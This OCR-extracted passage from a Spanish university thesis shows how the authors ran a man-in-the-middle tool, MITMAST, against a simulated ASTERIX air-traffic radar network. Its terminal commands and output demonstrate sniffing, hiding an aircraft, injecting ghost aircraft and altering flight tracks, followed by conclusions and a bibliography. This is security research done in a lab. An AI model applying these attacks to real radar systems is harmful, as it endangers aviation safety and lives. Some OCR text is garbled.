La Figura 30.1 muestra un esquema de la ejecucion del ataque en la que se puede observar
todos los componentes involucrados en el mismo. Cada uno de los componentes
involucrados se encuentra numerados:

1. Simulador de vuelo FlightGear.
2. Programa simulador del Radar.
3. Programa graficador del ataque.

4. Programa MITMAST encargado de realizar el ataque.
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REPLAY

Mute

Archivo Editar Ver Terminal Ir Ayuda

+*+CONVERSION DATOS AERONAVE A DATOS ASTERIX**
Coordenadas Cartesianas ASTERIX (x,y): (ffffffel,ffffffae)
Coordenadas Palares ASTERIX (rho,theta): (00b0,7142)

**Paguete enviado al centro de operaciones**

+*+PAQUETE DE AERONAVE RECIBIDO**
-Largo paquete: 37

-Longitud Aeronave: -64,204269
-Latitud Aeronave: -31,318489
-Velocidad Aeronave: 71,761337

+*DATOS DEL RADAR**

-Latitud Radar: -31,31259498
-Longitud Radar: -64,20202727
Distancia Aeronave (nm): 0,372208

+**CONVERSION DATOS AERONAVE A DATOS ASTERIX**
Coordenadas Cartesianas ASTERIX (x,y): (ffffffel,ffffffae)
Coordenadas Palares ASTERIX (rho,theta): (Q0b0,7142)

+*Paquete enviado al centro de operaciones*#*

(] Terminal - tomu: cRadar:~/deviclienteasterixgui Terminal - tomuz@MITM:/home/tomuz/dev/Mitm-master

Edit View Help

HACKEADO ORIGINAL

3
A (]

LNy

Archivo Editar Ver Terminal Ir Ayuda
[root@MITM Mitm-master]# ./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t
Created tap interface mitm@
Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)
R 14 packets sniffed
Shutdowning, please wait

Cleaning up ARP tables
[root@ITM Mitm-master]# ./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t -o BLOCK

Aircraft Adress:49d0a9

** AA : 49d0a9 **Created tap interface mitm@
Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)

39 aircrafts blocked
Shutdowning, please wait
Cleaning up ARP tables
[root@MITM Mitm-master]# Ji

Figura 30.1: Esquema de la ejecucion del ataque
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A continuacion, se realizara una breve descripcion de cada uno de los pasos que se realizan
en la simulacién del sistema de radarizacion aéreo. EI mismo comprende desde la ejecucion
del simulador de vuelo hasta la visualizacién del avion en los radares. Durante la
explicacion se haran uso de los nimeros utilizados en la Figura para hacer referencia a cada
uno de los programas.

1. Una vez puesto en marcha el simulador de vuelo FlightGear (1 en la Figura). El
mismo se encarga de generar los datos con el formato definido en el archivo XML.

2. Una vez generados los datos por el FlightGear, el mismo se encarga de enviarlos a
la méquina virtual donde se encuentra el programa simulador de radar (2 en la
Figura).

3. EIl simulador radar recibe los datos, los decodifica y realiza las modificaciones
necesarias para genera los paquetes ASTERIX.

4. Una vez generados los paquetes ASTERIX, el simulador rada envia los mismos a la
maquina virtual donde se encuentra el programa simulador del centro de
Operaciones (3 en la Figura).

En este punto ya se encuentra funcionando por completo el sistema de radares. A
continuacion se detallaran los ataques realizados mediante el programa MITMAST. Para
ello se dividira cada uno de los ataques en secciones individuales.

Cabe aclarar que cada uno de los comandos que se utilizaran en las secciones a
continuacidn, se explicaron en detalle en el apartado “29.2 FUNCIONAMIENTO” de la
seccion “29. MITMAST”. Por este motivo se evitaran explicaciones que ya fueron
realizadas en dicho apartado.

30.1. EJECUCION DEL COMANDO DE SNIFFEO

La primera prueba realizada es un simple sniffeo de los paquetes ASTERIX. Para ello se
ejecuta el programa MITMAST como se muestra en la Figura 30.2.
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(] Terminal - tomuz@MITM:/home/tomuz/dev/Mitm-master + - O X
Archivo Editar Ver Terminal Ir Ayuda

[root@MITM Mitm-master]#|./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t|

Created tap interface mitm@
Attacker is at 00:50:56:20:CC:6B 1??

192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom _is in the middle (Press escape to exit) Comando para sniffear

|37 packets sniffedll

Cantidad de paquetes sniffeados

Figura 30.2: Comando para Sniffear

Una vez ejecutado el programa, el mismo se encargaré de realizar el ataque correspondiente
y mostrara la cantidad de paquetes que han sido sniffeados.

La Figura 30.3 muestra el ataque en funcionamiento. Como se puede observar en la esquina
superior derecha ambos radares muestran la misma informacion, ya que con este ataque
solo supervisamos los paquetes ASTERIX sin realizar ninguna modificacion a los mismos.

ORIGINAL

GHMITH: home tomuz/deviMitm-master =)

l[rau((dMlTM Mitm-master]# ./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t

ditar Ver Terminal I A
+*CONVERSION DATOS AERONAVE A DATOS

Coordenadas Cartesianas ASTERIX (x,y): (@@l fffffcb) >

Coordenadas Palares ASTER! rho, theta) 070, 73ef) Attacker is at ©0:50:56:20:CC:68 I
192.168.1.200 is at 00:50:56:25:07:C1

*+Paquete enviado al centro de operaciones** 192.168.1.201 is at 00:50:56:25:07:C2

-------------------------------------------------------------- s escape to exit)
35 packets sniffed|
+*PAQUETE DE AERONAVE RECIBIDO**
ar

-Largo paquete:

-Longitud Aeronave: -64,201500
-Latitud Aeronave: -31,316830
-Velocidad Aeronave: 70,133980

+#DATOS DEL RADAR**

-Latitud Radar: -31,31259498
-Longitud Radar: -64,20202727
Distancia Aeronave (nm): @,255760

+4CONVERSTON DATOS AERONAVE A DATOS ASTERIX**
Coordenadas Cartesianas ASTERIX (x,y): (0007, ffffffcd)
Coordenadas Palares ASTERIX (rho,theta): (0079,7afa)

+*Paquete enviado al centro de operaciones**

[ |
Figura 30.3: Ejecucién del comando para Sniffear
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30.2. EJECUCION DEL COMANDO BLOCK

En esta seccidn se mostrara la puesta en marcha de ataque del comando BLOCK con el cual
se busca eliminar los paquetes de un avion especificos para que el mismo se vuelva
invisible en el radar. La ejecucion del mismo se muestra en la Figura 30.4.

Terminal -tomuz@MITM:/home/tomuz/dev/Mitm-master
Archivo Editar Ver Terminal Ir

[root@ITM Mitm-master]# l/mitm -i eth® -t 192.168.1.200 192.168.1.201 -t -o BLOCKI

IAi rcraft Adress:49d0ad I @ Direccién del avion a ser bloqueado ﬁ
** AA : 49d0aS **Created tap interface mitm@
Attacker is at 00:50:56:20:CC:6B Comando para bloquear los paquetes

192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2

ress escape to exit)
7 aircrafts blockedl]

Cantidad de paquetes bloqueados '

Figura 30.4: Comando BLOCK

Como se puede observar en la imagen, una vez ejecutado el programa MITMAST con los
parametros correspondiente para iniciar el ataque BLOCK, el mismo pedira que se ingrese
el “Aircraft Adress” del avion al cual queremos hacer invisible en el radar. En nuestro caso
utilizamos el avion “49d0a9”. El objetivo de ingresar la direccion del avion es para analizar
cada uno de los paquetes ASTERIX que pasan a través programa atacante y dropear los
paquetes pertenecientes a dicho avion.

La Figura 30.5 muestra en ataque en funcionamiento. Como se puede observar en la
interfaz grafica de los radares cuando el ataque esta en curso el avion “desaparece”.

ORIGINAL

m -1 eth® -t 192.168.1.200 192.168.1.201 -t

scape to exit)

l;r::l@?‘]T!’ Mitm-master]# ./mitm -1 eth® -t 192.168.1.200 192.168.1.201 -t -o BLOCK

Alrcraft Adress:49d0a%

**DATOS DEL RAC
Latitud Radar

: 49d0a9 **
Attacker is at 00:

ace mitmo

i |
Figura 30.5: Ejecucién del comando para bloquear
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30.3. EJECUCION DEL COMANDO ADD

En esta seccion mostraremos el funcionamiento del comando ADD. Con el mismo se busca
insertar aviones fantasmas basados en un avion especifico. Estos aviones fantasmas
seguiran la misma trayectoria que el avion original desplazados a una cierta distancia del
mismo. El objetivo de este ataque es para simular que un avion esta siendo seguido por una
cantidad variable de aeronaves.

En la Figura 30.6 se muestra la ejecucion del programa MITMAST con los parametros
correspondientes para ejecutar el atague ADD. Como se puede observar en la imagen el
programa pide que se ingrese la direccion de la aeronave de la cual se crearan los aviones
fantasmas. El programa también pide que se ingrese la cantidad de aviones fantasmas.

Pl Terminal - tomuz@MITM:/home/tomuz/dev/Mitm-master A CEEX
Archivo Editar Ver Terminal Ir Ayuda

[root@ITM Mitm—master]#[./mitm -1 ethO -t 192.168.1.200 192.168.1.201 -t -o ADD]
Aircraft Adress:49d0a%9 <:Direcci6n del avion a ser atacado

CANTIDAD de aviones fantasmas:2

Created tap interface mitm@

Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2

] cape to exit)
22 aircrafts added (11 * 2)§ I <= Cantidad de paquetes agregados

Comando para agregar aviones
fantasmas

Figura 30.6: Comando ADD

Una vez puesto en marcha el ataque, el programa enviara todos los paquetes que recibe
desde el simulador radar sin modificarlos y también enviara los nuevos paquetes generados
para los aviones fantasmas cada vez que reciba un paquete de la aeronave especificada en el
programa.

La Figura 30.7 muestra el ataque en funcionamiento. Como se puede observar en los
radares que se encuentran en la esquina superior derecha cuando el ataque se esta
ejecutando se agregan (en color rojo) la cantidad de aviones especificados en el programa
MITMAST. Cabe aclarar que el color rojo de los aviones fantasmas es solo a modo que se
puedan ver mejor en el ataque pero los paquetes generados por el programa atacante son
idénticos a cualquier paquete por lo que en el centro de operaciones no se puede notar que
no pertenecen a aeronaves reales.
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L

§

{ Fle Edit View Help

HACKEADO ORIGINAL

N\l
)

Tarminal - tomuzApcRadar home/tomuz/dev/cienteasterxgu

hivo Editar ver Terminal Ir Ayuda

Archvo Edtar Ver Terminal Ir Ayuda Archi
[root@MITM Mitm-master]# ./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t -o ADD

++CONVERSION DATOS AERONAVE A DATOS ASTERIX**
Coordenadas Cartesianas ASTERIX (x,y): (fffffc59,fffffade)

Coordenadas Palares ASTERIX (rho,theta): (0d@3,6708) Aircraft Adress:~C
r u(@V!TM M](m -master ]# /r tm -1 eth® -t 192.168.1.200 192.168.1.201 -t

ated tap inte
At(arker is at (-)0
192.168.1.200 is at 00.5@.56]5.37.&1
192.168.1.201 is at 00:50:56:25:07:C2
0 p Ton 1s in the niddle (Press escape to exit)
Longl ud Aeror\ave -64,271027 81 packets sniffed
-Latitud Aeronave: -31,415091 utdowning, please wait
Velocidad Aeronave: 136,554733

**+Paquete env;aao a'L centro de operaciones**

PAQUETE DE AERUNAV RECIBIDO*+
aque

I[lqcl’EMITM Mitm-master)# ./mitm -1 eth® -t 192.168.1.200 192.168.1.201 -t -o ADD

+*DATOS DEL RADAR**

-Latitud Radar: -31,31259498
-Longitud Radar: -64,20202727
Pistancia Aeronave (nm): 7,100138

Aircraft Adress:49doad

JCANTIDAD de aviones fantasmas:2 ||

p—r -
+CONVERSION DATOS AERONAVE A DATOS ASTERIX+s Attacker is at 00:50:56:20:CC:68
Coordenadas Car IX (x,y): (fffffcse, fffffasb) 192.166.1.200 18 at 00:50:56:25: :17,51

(
Coor denadas Pa ares AST[NX (rho thet. a): [0d2 7e4) 192.168.1.201 is at ©0:50:56:25:07:C

fo et
t+Paquete enviado al centro de operaciones** '16 R G |
______________________________________________________________ —_—

|
i
Figura 30.7: Ejecucion del comando ADD

30.4. EJECUCION DEL COMANDO MOD

En esta seccion se realizara la explicacion de la puesta en marcha del comando MOD. Lo
que se busca con este ataque es modificar la trayectoria original que lleva una aeronave, por
lo que la aeronave que se esta atacando tomara un rumbo distinto en el radar al rumbo que
realmente tiene.

La Figura 30.8 muestra la ejecucion del programa MITMAST con los parametros
correspondientes para ejecutar el ataque MOD. Una vez iniciado el programa, el mismo nos
pedird que ingresemos la direccion de la aeronave a la cual queremos modificar la
trayectoria. Luego nos pedira que ingresemos las coordenadas del radar hacia donde
qgueremos cambiar el rumbo de la aeronave, que en nuestro caso es la coordenada (10,10)
que se encuentra en el primer cuadrante del radar.
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Terminal - tomuz@MITM:/home/tomuz/dev/Mitm-master

Archivo Editar Ver Terminal Ir Ayuda

[root@ITM Mitm-master]# ./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t
Created tap interface mitm@ gae
Attacker is at ©0:50:56:20:CC:6B Comando para modificar la
192.168.1.200 is at 00:50:56:25:07:C1 trayectoria de un avion
192.168.1.201 is at 00:50:56:25:07:C2

Tom is in the middle (Press escape to exit)

61 packets sniffed
Shutdowning, please wait

root@MITM Mitm-master]# ./mitm -1 ethO® -t 192.168.1.200 192.168.1.201 -t -o MOD
Aircraft Adress:49d0ad @ Direccién del avion a ser modificado

X hacia donde debe ir el avion :10
@ Coordenadas de destino
Y hacia donde debe ir el avion:10 dentro del radar

v

Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2

qn o R piddle [Dress escape to exit)

TG AR @ Cantidad de paquetes modificados

Figura 30.8: Comando MOD

En la Figura 30.9 se muestra la puesta en marcha del ataque del comando MOD. En el
mismo se puede ver como, una vez ejecutado el ataque, en el radar “HACKEADO” se
modifica la trayectoria original de la aeronave.

[ rr———— UORES R ex)

Fle Edit View Help

HACKEADO ORIGINAL

X

Archivo Editar Ver Tar Ayuda

[root@MITM Mitm-master]# ./mitm -i eth® -t 192.168.1.200 192.168.1.201 -t

Created tap interface mitm@

Attacker is at 00:50:56:20:CC:68
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)
61 packets sniffed
Shutdowning, please walit

Archvo Editar Ver Terminal ir Ayuda

+*CONVERSTON DATOS AERONAVE A DATOS ASTERIX**
Coordenadas Cartesianas ASTERIX (x,y): (9396,8029)
Coordenadas Palares ASTERIX (rho,theta): (072f,3e27)

“+PAQUETE DE AERONAVE RECIBIDO**
-Largo paquete: 37

-Longitud Aeronave: -64,125954
-Latitud Aeronave: -31,310261
-Velocidad Aeronave: 115,746269

Aircraft Adress:49d0ad

X hacia donde debe ir el avion :10
Y hacia donde debe ir el avion:10
Attacker is at 00:50:56:20:CC:68
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2

—— W Regss escape to exit)

[ 36 aircrafts modified

+HDATOS DEL RADAR**
-Latitud Radar: -31,31259498
-Longltud Radar: -64,20202727
pistancia Aeronave (nm): 3,905879

++CONVERSION DATOS AERONAVE A DATOS ASTERIX**
Coordenadas Cartesianas ASTERIX (x,y): (639d,001c)
Coordenadas Palares ASTERIX (rho,theta): (073p,3ebe)

++Paquete enviado al centro de operaciones**

""""""""""""""""""""""""""""""""" | -
Figura 30.9: Ejecucién del comando MOD
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31.CONCLUSIONES

Durante este proyecto se adquirieron muchos conocimientos sobre seguridad,
infraestructuras criticas, ataques informaéticos, etc. Pero también se refino y se puso a
prueba la capacidad de investigacion persona, ya que partimos desde un punto donde
debiamos buscar alguna falla en una infraestructura critica determinada y llegamos al punto
de encontrar una vulnerabilidad en un protocolo utilizado a nivel mundial que puede traer
grandes consecuencias en distintos aspectos si es explotada. Por otro lado, se trabajo con
tecnologias aprendidas durante el transcurso de la carrera, pero a su vez mezclando
distintos conocimientos para lograr un funcionamiento 6ptimo de los programas.

Una clara dificultad y limitacién fue la de no poder acceder a informacion real acerca de
como esta conformada la infraestructura critica del sistema de radarizacion de tréfico aéreo.
Esto produjo idas y vueltas durante el desarrollo del proyecto. Por este motivo se retrasaron
varias tareas hasta que se decidid hacer una hipotética estructura de red que se podria
asemejar a la real y trabajar con ella.

Los resultados alcanzados al finalizar este trabajo fueron los siguientes:
e Se adquirieron conceptos sobre infraestructuras criticas y ataques informaticos.

e Se obtuvieron datos e informacion especifica sobre el accionar y los protocolos que
utiliza el sistema de radarizacion.

e Se desarrollaron 2 programas claves: un generador y un interpretador del protocolo
ASTERIX. La informacion disponible en internet sobre estos asuntos es muy
limitada, por lo cual generar estos programas fue toda una hazana.

e Se desarroll6 exitosamente el programa atacante, si bien utilizamos diversas
librerias externas, fuimos capaces de generar un software que se encarga
especificamente de atacar de diferentes maneras este protocolo.

e Se conformo exitosamente la infraestructura critica planteada.

e Se publico un paper en el CoNalSlIl sobre el tema tratado, la investigacion y el
andlisis.

e Se publicé un paper en la ITU Kaleidoscope 2015, uno de los foros internacionales
mas importantes en este tema, sobre la investigacion realizada y una posible
mitigacion que no esté incluida en la tesis. El paper tuvo una gran repercusion en
este foro realizado en Barcelona, tal asi que se nos otorgd el titulo de joven autor y
por la transcendencia e importancia del asunto, la inica mencion especial del foro.
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Hemos estado sorprendidos durante la realizacion de este trabajo final acerca de las
repercusiones que podria traer un ataque a la vulnerabilidad descubierta, ya que,
analizandolo objetivamente, se ponen varias vidas en juego al presentar esto. Si bien
nosotros nunca pondriamos en prueba el software atacante en un sistema real, hay gente
con muchos mas recursos y personas que lo podrian replicar e incluso mejorar para causar
dafos. La mitigacion de este atague no estad contemplada en este trabajo debido al tiempo y
la extension del mismo que llevaria. Sin embargo, esperamos que alguien pueda
continuarlo.

BAIGORRIA, Facundo. 111
BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

32.BIBLIOGRAFIA

[1]] EUROCONTROL-European Organisation for the Safety of Air Navigation.
Asterixprotocol. https://www.eurocontrol.int/asterix.

[2] Adolf Mathias, Matthias Hel (2012). “Machine-Readable  Encoding
StandardSpecifications in ATC”. IEEE - Digital Communications - Enhanced Surveillance
of Aircraft and Vehicles (TIWDC/ESAV), 2011 Tyrrhenian International Workshop.

[3] Zhe Chen, ShizeGuo, KangfengZheng and Yixian Yang (2007). “Modeling of Man-in-
the-Middle Attack in theWireless Networks”.IEEE -Wireless Communications, Networking
and Mobile Computing, 2007.WiCom2007.International Conference.

[4] Naga RohitSamineni, Ferdous A, Barbhuiya and Sukumar Nandi (2012). “Stealth and
Semi-Stealth MITM Attacks,Detection and Defense in IPv4 Networks”. IEEE - Parallel
Distributed and Grid Computing (PDGC), 2012 2nd IEEE International Conference.

[5] Craig Hunt (1997). “TCP/IP Network Administration”. O'Reilly & Associates.

[6] D. Brent Chapman & Elizabeth D. Zwicky (1995). “Building Internet
Firewalls”.O'Reilly & Associates.

[7] Bruce Schneier. Schneier on Security.https://www.schneier.com.

[8] RenderMan. RenderLab. http://renderlab.net/.

[9] Ministerio de Defense de Espafia. Ciberseguridad: Retos y amenazas a la seguridad
Nacional en el Ciberespacio.

http://bibliotecavirtualdefensa.es/BVMDefensa/il8n/catalogo imagenes/grupo.cmd?path=1
7029.

[10] MilwOrm Hacker Group. W4rriOr. http://www.w4rriOr.com/.

[11] DEFCON. DEFCONConferences.

https://www.youtube.com/channel/UC60m9kAkI32dWIDSNIDS9Iw.

[12] Programa Nacional de Infraestructuras Criticas de Informacion y Ciberseguridad.
http://www.icic.gob.ar/

[13] Infraestructuras criticas.

http://www.cybsec.com/upload/Ardita Concientizacion Proteccion Infraes Criticas.pdf

[14] Radares.

BAIGORRIA, Facundo. 112
BUCHAILLOT, Tomas.


https://www.eurocontrol.int/asterix
http://ieeexplore.ieee.org/xpl/mostRecentIssue.jsp?punumber=6415466
http://ieeexplore.ieee.org/xpl/mostRecentIssue.jsp?punumber=6415466
https://www.schneier.com/
http://renderlab.net/
http://bibliotecavirtualdefensa.es/BVMDefensa/i18n/catalogo_imagenes/grupo.cmd?path=17029
http://bibliotecavirtualdefensa.es/BVMDefensa/i18n/catalogo_imagenes/grupo.cmd?path=17029
http://www.w4rri0r.com/
https://www.youtube.com/channel/UC6Om9kAkl32dWlDSNlDS9Iw
http://www.icic.gob.ar/
http://www.cybsec.com/upload/Ardita_Concientizacion_Proteccion_Infraes_Criticas.pdf

Instituto Universitario Aeronautico
Trabajo Final de Grado

http://www.radartutorial.eu/01.basics/Determinaci%C3%B3n%20de%20Distancia.es.html

BAIGORRIA, Facundo. 113
BUCHAILLOT, Tomas.


http://www.radartutorial.eu/01.basics/Determinaci%C3%B3n%20de%20Distancia.es.html

Instituto Universitario Aeronautico
Trabajo Final de Grado

33.CODIGOS DE COMPUTACION

Debido a la gran extension de los programas realizados para realizar la simulacion de la red
y el ataque se decidié adjuntar el codigo fuente de los mismos de forma digital para no
extender el presente trabajo. Los mismos se agregaran, en el CD adjunto al trabajo final de
grado, separados por carpetas identificadas por el nombre de cada programa.
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